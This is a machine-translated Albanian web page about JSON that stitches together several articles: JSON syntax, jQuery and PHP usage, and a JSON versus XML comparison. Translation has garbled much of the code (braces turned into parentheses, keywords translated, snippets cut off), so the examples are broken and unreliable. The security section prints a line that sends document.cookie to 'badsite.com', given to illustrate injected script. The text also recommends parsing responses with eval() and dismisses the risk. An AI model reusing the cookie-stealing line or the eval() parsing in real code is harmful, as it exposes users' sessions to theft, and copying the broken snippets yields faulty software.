    Obj = ( "emri": "Vasya", "mosha": 35, "isAdmin": false, përJSON: funksion() ( kthe këtë.moshë; ) ) alert(JSON.stringify(obj)); // do të printojë 35

    Shembuj të zbatimit praktik të formatit JSON

    Në fakt, unë personalisht përdor formatin JSON në 2 situata kryesore:

    1. Transferimi i të dhënave ndërmjet shfletuesit dhe serverit duke përdorur kërkesat e Ajax.

    Për shembull, ne kemi disa faqe në të cilat duhet të përditësojmë të dhënat pa e ringarkuar faqen. Le të themi se keni nevojë për informacion me një listë të punonjësve dhe të dhënat e tyre për t'u "shkarkuar" nga serveri.

    Në JavaScript, duke përdorur jQuery, e bëjmë të thjeshtë dhe i shfaqim të dhënat në formën e një tabele në shfletues:

    $.getJSON("get-info.php").success(funksion(të dhëna) ( // kërkesë ajax, të dhënat nga serveri do të shkruhen në variablin e të dhënave htmlstr = "

    "; për (var i=0; i "Ivanov Sergey", "ditëlindja" => "03/09/1975"); $user_info = grup ("fio" => "Alexey Petrov", "ditëlindja" => " 09/18 1983"); echo json_encode ($user_info);

    Në këtë shembull, vargu JSON që u kalua nga serveri në shfletues ishte si ky:

    [("fio":"Sergey Ivanov","ditëlindja":"03/09/1975"),("fio":"Alexey Petrov","ditëlindja":"09/18/1983")]

    Unë qëllimisht nuk e tregova vijën në formën e një "peme", sepse transmetohet pikërisht në këtë formë. Dhe siç mund ta vlerësoni, regjistrimi i të dhënave në formatin JSON doli të ishte shumë kompakt, që do të thotë se transferimi i këtyre të dhënave nga serveri në shfletues do të jetë pothuajse i menjëhershëm.

    2. Shkrimi i strukturave komplekse të të dhënave në bazën e të dhënave.

    Ndonjëherë ka situata kur nuk këshillohet të krijohet një tabelë tjetër në bazën e të dhënave për të ruajtur të dhëna të ndryshme. Le të themi se një përdorues i regjistruar në faqe ka mundësinë të personalizojë ngjyrën e sfondit dhe ngjyrën e tekstit.

    Në vend që të krijoni një tabelë tjetër për 2 cilësime, thjesht mund të krijoni një kolonë teksti në tabelë me listën e përdoruesve në të cilën do të vendosni të dhënat e cilësimeve të përdoruesit. Atëherë kërkesa për përditësimin e cilësimeve mund të jetë, për shembull, si kjo:

    Përditëso përdoruesit SET cilësimet = "("ngjyra e sfondit":"#FFFFFF", "ngjyra e tekstit":"#000000")" WHERE user_id = 10

    Në të ardhmen, pasi të ketë marrë informacion nga tabela e përdoruesve, skripti php mund t'i kthejë lehtësisht në një grup me cilësime. Për shembull, nëse ndryshorja $user_info përmban të dhëna të marra për një përdorues nga tabela e përdoruesve, marrja e një grupi me cilësime është shumë e thjeshtë:

    $settings = json_decode ($user_info["cilësimet"], e vërtetë); echo "Background color = ".$settings["background-color"]; echo "Ngjyra e tekstit = ".$settings["text-color"];

    Në formatin JSON, ju gjithashtu, për shembull, mund të regjistroni në bazën e të dhënave se cilat opsione produkti ka zgjedhur blerësi.

    ("15":["45","47"], "18":"52") // Opsioni 15 ka të zgjedhura vlerat 45 dhe 47, dhe opsioni 18 ka vlerën 52 të zgjedhur

    Në parim, madje mund të shkruani të gjithë përmbajtjen e karrocës në format JSON, për shembull, si kjo:

    ( "user_id" : 10, "session_id" : "2c2l3h4ii271aojentejtdcmh3", "produkte": [ ( "produkt_id" : 15, "opsione" : ( "15" : , "18" : 52), "sasia" : 1, "çmimi" : 1500 ), ( "id_i i produktit" : 16, "opsionet" : ( "15" : , "18" : 51 ), "sasia" : 2, "çmimi" : 1000 ) ] )

    Në formën e tij të zakonshme jo-pemë, ky varg JSON do të ishte si ky:

    ("user_id":10,"session_id":"2c2l3h4ii271aojentejtdcmh3","products":[("product_id":15"options":("15":"18":52),"sasia":1 , "çmimi":1500),("id_i i produktit":16,"opsionet":("15":"18":51),"sasia":2,"çmimi":1000)])

    Kështu, siç shihet nga shembujt, pothuajse çdo informacion mund të ruhet dhe transmetohet në formatin JSON.

    JSON (JavaScript Object Notation) është një format i transferimit të të dhënave. Siç sugjeron emri, formati bazohet në gjuhën e programimit JavaScript, por është gjithashtu i disponueshëm në gjuhë të tjera (Python, Ruby, PHP, Java).

    JSON përdor shtesën .json. Kur përdoret në formate të tjera skedarësh (si p.sh. html), vargu JSON citohet ose i caktohet një ndryshoreje. Ky format transferohet lehtësisht midis serverit të internetit dhe klientit ose shfletuesit.

    I lehtë dhe i lehtë për t'u kuptuar, JSON është një alternativë e shkëlqyer për XML.

    Ky tutorial do t'ju prezantojë me përfitimet, objektet, strukturën e përgjithshme dhe sintaksën e JSON.

    Sintaksa dhe struktura JSON

    Një objekt JSON është në formën me vlerë kyçe dhe zakonisht shkruhet në kllapa kaçurrelë. Kur punoni me JSON, të gjitha objektet ruhen në një skedar .json, por ato mund të ekzistojnë edhe si objekte të veçanta në kontekstin e programit.

    Objekti JSON duket si ky:

    "first_name" : "Gjoni",
    "last_name" : "Smith",
    "lokacioni" : "Londër",
    "online": e vërtetë,
    "ndjekës": 987

    Ky është një shembull shumë i thjeshtë. Një objekt JSON mund të përmbajë shumë rreshta.

    Siç mund ta shihni, një objekt përbëhet nga çifte me vlerë kyçe që janë të mbyllura në kllapa kaçurrelë. Shumica e të dhënave në JSON shkruhen si objekte.

    Një dy pika vendoset midis çelësit dhe vlerës. Pas çdo çifti ju duhet të vendosni një presje. Rezultati është:

    "çelës" : "vlerë", "çelës" : "vlerë", "çelës": "vlerë"

    Tasti JSON është në të majtë. Çelësi duhet të vendoset në thonjëza të dyfishta. Çdo varg i vlefshëm mund të përdoret si çelës. Brenda një objekti, të gjithë çelësat duhet të jenë unikë. Tasti mund të përmbajë një hapësirë ​​(“emri i parë”), por programimi mund të ketë probleme me aksesin në një çelës të tillë. Prandaj, në vend të një hapësire, është më mirë të përdorni një nënvizim (“emri_emri”).

    Vlerat JSON janë në anën e djathtë të kolonës. Çdo lloj i thjeshtë i të dhënave mund të përdoret si vlerë:

    • Vargjet
    • Numrat
    • Objektet
    • Vargjeve
    • Të dhënat Boolean (të vërteta ose të rreme)

    Vlerat gjithashtu mund të përfaqësohen nga lloje komplekse të të dhënave (për shembull, objekte ose grupe JSON).

    JSON mbështet sintaksë individuale për secilin nga llojet e të dhënave të listuara më sipër: nëse vlera përfaqësohet nga një varg, atëherë ajo do të kuotohet, por nëse është një numër, atëherë jo.

    Në mënyrë tipike, të dhënat në skedarët .json shkruhen në një kolonë, por JSON gjithashtu mund të shkruhen në një rresht:

    ( "first_name" : "John", "last_name" : "Smith", "online" : e vërtetë, )

    Kështu shkruhen zakonisht të dhënat JSON në lloje të tjera skedarësh.

    Duke shkruar të dhënat JSON në një kolonë, ju përmirësoni lexueshmërinë e skedarit (veçanërisht nëse ka shumë të dhëna në skedar). JSON injoron hapësirat midis kolonave, kështu që ju mund t'i përdorni ato për të ndarë të dhënat tuaja në një numër të menaxhueshëm kolonash.

    "first_name" : "Gjoni",
    "last_name" : "Smith",
    "online": e vërtetë

    Vini re se objektet JSON janë shumë të ngjashëm me objektet JavaScript, por nuk janë të njëjtin format. Për shembull, mund të përdorni funksione në JavaScript, por jo në JSON.

    Avantazhi kryesor i JSON është se të dhënat në këtë format mbështeten nga shumë gjuhë programimi të njohura, kështu që ato mund të transferohen shpejt.

    Tani jeni njohur me sintaksën bazë JSON. Por skedarët JSON mund të kenë struktura komplekse, hierarkike që përfshijnë vargje dhe objekte të mbivendosur.

    Llojet komplekse në JSON

    JSON mund të ruajë objekte dhe vargje të ndërlidhura, të cilat do të kalohen si vlera e çelësit që u është caktuar.

    Objekte të mbivendosura

    Më poshtë do të gjeni një shembull - skedarin users.json, i cili përmban të dhënat e përdoruesit. Për çdo përdorues

    ("john", "jesse", "drew", "jamie") kalohet si vlerë një objekt i mbivendosur, i cili, nga ana tjetër, gjithashtu përbëhet nga çelësa dhe vlera.

    Shënim: Objekti i parë i mbivendosur JSON theksohet me të kuqe.

    "John" :(
    "emri i përdoruesit" : "Gjoni",
    "lokacioni" : "Londër",
    "online": e vërtetë,
    "ndjekës": 987

    "Xhesi" :(
    "emri i përdoruesit" : "Jesse",
    "lokacioni" : "Uashington",
    "online": false,
    "ndjekës": 432

    "vizatoi" :(
    "username" : "Drew",
    "lokacioni" : "Paris",
    "online": false,
    "ndjekës": 321

    "Xhemi" :(
    "emri i përdoruesit" : "Jamie",
    "lokacioni" : "Berlin",
    "online": e vërtetë,
    "ndjekës": 654

    Vini re se mbajtëset kaçurrelë përdoren si në objektin e mbivendosur ashtu edhe në objektin kryesor. Presja në objektet e mbivendosur përdoren në të njëjtën mënyrë si në objektet e rregullta.

    Vargjet e mbivendosura

    Të dhënat mund të futen në JSON duke përdorur vargje JavaScript, të cilat do të kalohen si vlera. JavaScript përdor kllapa katrore () në fillim dhe në fund të një grupi. Një grup është një koleksion i renditur i të dhënave që mund të përmbajë lloje të ndryshme të dhënash.

    Një grup përdoret për të transferuar një sasi të madhe të dhënash që mund të grupohen. Për shembull, le të përpiqemi të regjistrojmë të dhënat e përdoruesit.

    {
    "first_name" : "Gjoni",
    "last_name" : "Smith",
    "lokacioni" : "Londër",
    "faqet e internetit" : [

    "përshkrim" : "punë",
    "URL": "https://www.johnsmithsite.com/"

    },
    {

    "përshkrim" : "tutoriale",
    "URL" : "https://www.johnsmithsite.com/tutorials"

    "mediat sociale" : [

    "përshkrim" : "Twitter",
    "link" : "https://twitter.com/johnsmith"

    "përshkrim" : "facebook",
    "link" : "https://www.facebook.com/johnsmith"

    "përshkrim" : "github",
    "link" : "https://github.com/johnsmith"

    Çelësat “websites” dhe “social_media” u caktohen vargjeve si vlera, të cilat vendosen në kllapa katrore.

    Duke përdorur vargje dhe objekte të mbivendosur, mund të krijoni një hierarki komplekse të të dhënave.

    JSON apo XML?

    XML (EXtensible Markup Language) ju lejon të ruani të dhënat në një formë që është e lehtë për t'u kuptuar nga njerëzit dhe makinat. Formati XML mbështetet nga një numër i madh gjuhësh programimi.

    XML dhe JSON kanë shumë të përbashkëta. Megjithatë, XML kërkon shumë më tepër tekst, që do të thotë se skedarët e tillë janë më të mëdhenj dhe më të vështirë për t'u lexuar dhe shkruar. Për më tepër, XML përpunohet vetëm duke përdorur një përkthyes XML, ndërsa JSON mund të përpunohet duke përdorur një funksion të thjeshtë. Ndryshe nga JSON, XML nuk mund të ruajë vargje.

    Le të krahasojmë dy skedarë: ato përmbajnë të njëjtat të dhëna, por i pari është i shkruar në format XML dhe i dyti në JSON.

    përdoruesit.xml

    John London

    Jesse Washington

    Drew Paris

    Jamie Berlin

    përdoruesit.json
    ("përdoruesit": [

    ("emri i përdoruesit" : "Gjoni", "lokacioni": "London"),
    ("emri i përdoruesit" : "Jesse", "lokacioni": "Washington"),
    ("emri i përdoruesit" : "Drew", "lokacioni": "Paris"),
    ("emri i përdoruesit": "JamieMantisShrimp", "lokacioni": "Berlin")

    JSON është një format shumë kompakt dhe nuk kërkon aq shumë etiketa sa XML. Për më tepër, XML, ndryshe nga JSON, nuk mbështet vargje.

    Nëse jeni njohur me HTML, do të vini re se formati XML është shumë i ngjashëm me të (veçanërisht etiketat). JSON është më i thjeshtë, kërkon më pak tekst dhe është më i lehtë për t'u përdorur në aplikacionet AJAX, për shembull.

    Sigurisht, formati duhet të zgjidhet në varësi të nevojave të aplikacionit.

    Mjete për JSON

    JSON përdoret zakonisht në JavaScript, por formati përdoret gjerësisht në gjuhë të tjera programimi.

    Më shumë informacion rreth përputhshmërisë dhe përpunimit JSON mund të gjenden në faqen e internetit të projektit dhe bibliotekën jQuery.

    Është e rrallë të shkruash JSON nga e para. Në mënyrë tipike, të dhënat ngarkohen nga burimi ose konvertohen në JSON. Mund të konvertoni CSV ose të dhëna të kufizuara me skeda në JSON duke përdorur mjetin me burim të hapur Mr. Konvertuesi i të dhënave. Për të kthyer XML në JSON dhe anasjelltas, përdorni utilities-online.info. Kur punoni me mjete automatike, sigurohuni që të kontrolloni rezultatet.

    Skedarët JSON (përfshirë të dhënat e konvertuara) mund të inspektohen duke përdorur shërbimin JSONLint. Për të testuar JSON në një kontekst të zhvillimit të uebit, referojuni JSFiddle.

    konkluzioni

    JSON është një format i thjeshtë dhe i lehtë i të dhënave. Skedarët JSON janë të lehtë për t'u transferuar, ruajtur dhe përdorur.

    Sot JSON përdoret shpesh në API.

    • Përkthimi

    Shënim: më poshtë është një përkthim i artikullit rishikues "JSON vs XML", kushtuar JSON dhe krahasimi i tij me XML sipas një sërë kriteresh. Publikuar për të popullarizuar JSON në mesin e lexuesve Habrahabr.

    JSON (JavaScript Object Notation) është një format i shkëmbimit të të dhënave që lexohet lehtë nga njerëzit, i lehtë për t'u përpunuar dhe gjeneruar nga programet.

    Bazuar në një nëngrup të gjuhës JavaScript, Standard ECMA-262 Edition 3 - Dhjetor 1999.


    JSON - Wikipedia

    Cili është formati i saktë i përgjigjes për XMLHttpRequest në aplikacionet AJAX? Për shumicën e aplikacioneve të bazuara në markup, përgjigja është e thjeshtë - (X)HTML. Për aplikacionet me në qendër informacionin, zgjedhja do të jetë midis XML dhe JSON. Deri kohët e fundit, nuk pyesja veten se çfarë ishte më mirë të përdorja, XML ose JSON. Thjesht supozova se në secilin rast specifik ia vlente të zgjidhni formatin më të përshtatshëm, kjo është e gjitha. Por kohët e fundit pata mundësinë ta testoja këtë qasje në praktikë. Në këtë postim, unë do të përshkruaj kriteret me të cilat krahasova XML dhe JSON, dhe përfundimet e mia.

    Pra, kriteret janë si më poshtë.

    • Lexueshmëria e kodit.
    • Lehtësia e krijimit të një objekti të dhënash nga ana e serverit.
    • Përpunim i lehtë i të dhënave nga ana e klientit.
    • Lehtë për tu zgjeruar.
    • Korrigjimi dhe korrigjimi i gabimeve.
    • Siguria.
    Lexueshmëria e kodit

    Person person = person i ri(); personi.setFirstName("Subbu"); personi.setMbiemri("Allamaraju"); shkrimtar.shkruaj(JSONObject.fromObject(person).toString());

    Kur merret parasysh funksionimi i ndërfaqeve të tilla programuese, krijimi i JSON nuk është shumë i ndryshëm nga serializimi i fasuleve Java në objekte. Sidoqoftë, vlen të përmendet se tani ka shumë më tepër mënyra për të gjeneruar XML sesa JSON. Disa nga këto API XML kanë ekzistuar për shumë vite dhe për këtë arsye mund të jenë më të qëndrueshme kur përdoren për aplikacione komplekse.

    Një aspekt tjetër për t'u marrë parasysh do të jetë sasia e burimeve që përdoren për të gjeneruar përgjigjen. Nëse operacionet "të rënda" janë kryer tashmë gjatë marrjes së të dhënave, atëherë nuk do të jetë e vështirë për pjesën e serverit t'i konvertojë ato në XML për një përgjigje. Nëse krijimi i XML është operacioni më intensiv me burime, atëherë është më mirë të përdorni JSON.

    Lehtësinë e përdorimit

    Nga ana e klientit, përpunimi i të dhënave JSON si përgjigje ndaj një XMLHttpRequest është jashtëzakonisht i thjeshtë.

    Var person = eval(xhr.responseText); alarm (personi.emri);

    Duke përdorur eval() të rregullt mund ta konvertoni përgjigjen në një objekt JavaScript. Pasi të përfundojë ky operacion, të dhënat mund të aksesohen duke përdorur vetitë e objektit të konvertuar. Kjo është pjesa më elegante e të gjithë JSON.

    Tani le të shohim XML. Për ta bërë më transparent fragmentin e kodit më poshtë, kam hequr të gjithë kontrollin e gabimeve.

    "Emri");

    Natyrisht, kur përpunoni të dhënat e marra nga serveri, është e nevojshme të shikoni të gjithë pemën DOM. Ky është një operacion shumë intensiv i punës dhe është i prirur për gabime. Fatkeqësisht, në shfletues duhet të merremi me DOM. Shfletuesit nuk mbështesin një gjuhë pyetëse si XPath për marrjen e nyjeve të pemëve në një dokument XML. Mbështetja për këto funksione tashmë vlen për XSLT, por është mjaft e kufizuar ( Shënim: në shfletuesin) në drejtim të konvertimit të XML në markup (për shembull, HTML). Grupi i Punës për Ndërfaqet e Uebit ( Grupi i Punës i Web API) nga W3C është duke punuar në një ndërfaqe përzgjedhës ( Selectors API), i cili mund të përdoret për të aplikuar përzgjedhësit CSS kur zgjidhni nyje nga një objekt Document. Duke përdorur një ndërfaqe të tillë, do të ishte e mundur të transformohej kodi i shembullit të mësipërm në xml.match("person.firstName") për të marrë elementin firstName. Kjo nuk është një arritje e madhe për dokumentin XML në këtë shembull, por mund të jetë i dobishëm për të punuar me dokumente shumë të degëzuara. Kjo ndërfaqe nuk është ende e plotë dhe do të kalojnë vite përpara se shfletuesit ta mbështesin atë.

    Në përgjithësi, nëse më duhet të zgjedh midis XML dhe JSON, do të preferoj JSON për shkak të lehtësisë së zbatimit të përpunimit nga ana e klientit.

    Zgjerimi

    Zgjerimi ndihmon në uljen e numrit të komunikimeve ndërmjet ofruesit të të dhënave dhe marrësit. Në kontekstin e aplikacioneve AJAX, skripti nga ana e klientit duhet të jetë mjaftueshëm i pandryshueshëm në lidhje me ndryshimet e përputhshme në të dhëna.

    Besimi i përgjithshëm është se XML është automatikisht i zgjerueshëm thjesht për shkak të pranisë së shkronjës "X". Por ky nuk është një rregull i pakushtëzuar (d.m.th., duke vepruar si parazgjedhje). Zgjerimi i XML bazohet në parimin që ju mund të përcaktoni nyje shtesë në XML tuaj dhe më pas të aplikoni një rregull "kapërceni atë që nuk nevojitet" (d.m.th., nëse hasni një element ose atribut të panjohur gjatë përpunimit të XML, thjesht kalojeni atë).

    Për të përfituar plotësisht nga zgjerueshmëria, duhet të shkruani kodin e klientit duke pasur parasysh shtrirjen. Për shembull, shembulli i mëposhtëm do të zbërthehet nëse dëshironi të futni, për shembull, një element MiddleName.

    Var xml = xhr.responseXML; elementet var = xml.getElementsByTagName("emri i parë"); var firstEmriEl = elementet[0]; var MbiemriEl = firstNameEl.nextSibling;

    Nëse futni një element menjëherë pas elementit, ky shembull do të bëjë që emri i mesëm të keqinterpretohet si mbiemër. Për të qenë i pandryshueshëm ndaj këtij ndryshimi, kodi duhet të rishkruhet për të marrë në mënyrë të qartë elementin, ose të hyjë në NextSibling vetëm nëse gjendet një fëmijë me emrin e etiketës së dëshiruar. Kështu, XML është i zgjerueshëm për sa kohë që shkruani kodin duke pasur parasysh zgjerimin e ardhshëm. Gjithçka është jashtëzakonisht e thjeshtë.

    Le të kthehemi te JSON. Unë argumentoj se është më e lehtë të zgjerosh të dhënat JSON sesa XML. Kjo padyshim kërkon më pak përpjekje. Le të shqyrtojmë shtimin e vetive MiddleName në përgjigjen JSON. Për të hyrë në të, thjesht duhet ta telefononi.

    Alert(person.middlename);

    Ky kod nuk do të ndryshojë nëse i shtoni një emër të mesëm përgjigjes suaj. Por çfarë duhet bërë në rastin e përpunimit të një personi me ose pa emër të mesëm? Me JSON është e lehtë.

    if (person.middleName) ( // Në përpunim)

    Pozicioni im është që nëse mbahet parasysh zgjerimi i mundshëm në të ardhmen, të dhënat XML dhe JSON mund të zgjerohen. Por është më e lehtë të zgjerosh të dhënat me JSON sesa me XML. Thjesht duhet të kontrolloni nëse prona e kërkuar ekziston në objekt dhe të veproni sipas rezultatit të kontrollit.

    Një tjetër mundësi për të zgjeruar të dhënat JSON është përdorimi i thirrjeve të funksionit së bashku me deklaratat e të dhënave direkt në përgjigje.

    Alert("Përshëndetje - Unë jam një person"); (("emri i parë" : "Subbu", "mbiemri": "Allamaraju"));

    Kur të dhënat deklarohen nëpërmjet eval() , shfletuesi do të thërrasë gjithashtu shprehjen alert(). Në këtë rast, ju mund të ngarkoni të dhëna dhe të ekzekutoni funksione. Kjo qasje duhet të përdoret me shumë kujdes, sepse rrëmujë përgjigjen me thirrjet e funksionit dhe krijon një lidhje midis thirrjeve dhe të dhënave. Disa burime diskutojnë gjithashtu dobësitë e mundshme të sigurisë të kësaj qasjeje, të cilat diskutohen më në detaje më poshtë.

    Korrigjimi dhe korrigjimi i gabimeve

    Ky aspekt vlen si për anën e serverit të aplikacionit tuaj ashtu edhe për anën e klientit. Në server, duhet të siguroheni që të dhënat të jenë formuar saktë dhe të sakta. Duhet të jetë e lehtë të korrigjohen gabimet në përgjigje nga ana e klientit.

    Me XML, është relativisht e lehtë të verifikohet që të dhënat që i dërgohen klientit janë të mirëformuara dhe të sakta. Ju mund të përdorni skemën për të dhënat tuaja dhe ta aplikoni atë për të vërtetuar të dhënat. Me JSON, kjo detyrë bëhet manuale dhe kërkon kontrollimin nëse objekti që rezulton ka atributet e sakta.

    Nga ana e klientit, në të dyja rastet është e vështirë të zbulohen gabimet. Për XML, shfletuesi thjesht nuk do të jetë në gjendje ta konvertojë atë në answerXML. Për sasi të vogla të të dhënave JSON, mund të përdorni shtesën FireBug për korrigjimin e gabimeve dhe korrigjimin e gabimeve. Por me sasi të mëdha të dhënash, bëhet disi e vështirë të lidhësh mesazhin e gabimit me një vendndodhje specifike në kod.

    Siguria

    Dave Johnson, në postimin e tij JSON and The Golden Fleece, sugjeron që JSON mund të shkaktojë probleme sigurie. Thelbi i shënimit është se nëse lejoni që thirrjet e funksionit të futen së bashku me të dhënat në përgjigjet JSON dhe përdorni eval() për të përpunuar përgjigjen, atëherë po ekzekutoni kod arbitrar, i cili në fakt mund të përmbajë tashmë një rrezik sigurie.

    Window.location = "http://badsite.com?" + dokument.cookie; personi: ( "firstName" : "Subbu", "LastName" : "Allamaraju" )

    Nëse përgjigja në shembullin e mësipërm ekzekutohet, do të bëjë që shfletuesi të dërgojë skedarët e personalizimit të përdoruesit në faqen e palës së tretë. Por në këtë rast, ka një farë konfuzioni në përkufizimin e një kërcënimi të sigurisë. Nuk duhet t'i besoni të dhënave ose kodit të marrë nga një burim i paverifikuar. Dhe së dyti, ne nuk do të jemi në gjendje të përdorim XMLHttpRequest për të komunikuar me domene të tjera përveç domenit burimor të skriptit. Pra, vetëm vetë zhvilluesit, kur krijojnë një aplikacion, mund të iniciojnë dërgimin e cookies në një faqe të palëve të treta. Kjo është mjaft e dyshimtë, sepse ata po aq lehtë mund ta vendosin këtë kod keqdashës kudo në dokument jashtë përgjigjes së të dhënave të dërguar nga serveri. Ndoshta po më mungon diçka, por nuk e shoh kuptimin që ta konsideroj JSON si të pasigurt në krahasim me XML.

    Zgjedhja ime

    Për aplikacionet me në qendër informacionin, do të preferoja të përdorja JSON mbi XML për shkak të thjeshtësisë dhe lehtësisë së përpunimit të të dhënave nga ana e klientit. XML mund të jetë i domosdoshëm në server, por JSON është padyshim më i lehtë për të punuar me klientin.



     

    Mund të jetë e dobishme të lexoni: